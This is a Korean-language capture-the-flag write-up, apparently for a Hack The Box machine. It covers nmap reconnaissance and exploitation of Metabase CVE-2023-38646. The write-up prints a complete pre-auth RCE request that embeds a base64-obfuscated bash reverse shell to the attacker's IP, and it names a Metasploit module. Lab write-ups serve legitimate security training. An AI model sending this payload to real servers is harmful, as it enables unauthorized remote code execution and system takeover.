Analytics

[Reconnaissance : 정찰]

 

1. Nmap 수행 
nmap -T4 -A -v --unprivileged analytical.htb (--unpriviledged 옵션 사용)

 

2. 환경 변수에 analytical.htb 및 data.analytical.htb 입력 

 

 

3. metabase 취약점 검색 및 공격 수행

https://github.com/UltimateSec/ultimaste-nuclei-templates/blob/main/metabase/CVE-2023-38646.yaml

https://github.com/m3m0o/metabase-pre-auth-rce-poc?tab=readme-ov-file

> 취약점명 : CVE-2023-38646

> 취약점설명 : 0.46.6.1 이전 메타베이스 버전에는 설정 프로세스가 완료된 후에도 비밀 설정 토큰에 액세스할 수 있는
결함이 포함.
 공격자가 이 토큰을 사용하여 쎗업펑션을 호출하여 새 데이터베이스를 만들 수 있음.
 새 데이터베이스를 만들 때 H2 데이터베이스 문자열로 커맨드 인젝션 가능.

> 공격 문구
 setup token : 249fa03d-fd94-4d5b-b94f-b4ebf3df681f

 DEVICE=0b17fbc9-e622-4876-97ab-d72306bf209d

 PC IP : 10.10.14.66

POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.123 Safari/537.36
Content-Type: application/json
Referer: http://data.analytical.htb/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: metabase.DEVICE=0b17fbc9-e622-4876-97ab-d72306bf209d
Connection: close
Content-Length: 822

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjY2LzU1NTUgMD4mMSAg}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

위의 코드 중 리버스 쉘 IP 및  본인 PC IP로 설정

위 방법 시행 시 응답 값 아래와 같으며, 리버스쉘 실행되지 않음

4. metasploit 을 통해 재작업 수행

1) msf6) search metabase

2) msf6) use exploit/linux/http/metabase_setup_token_rce
및 run 수행

=> 리버스 쉘 생성 안됨.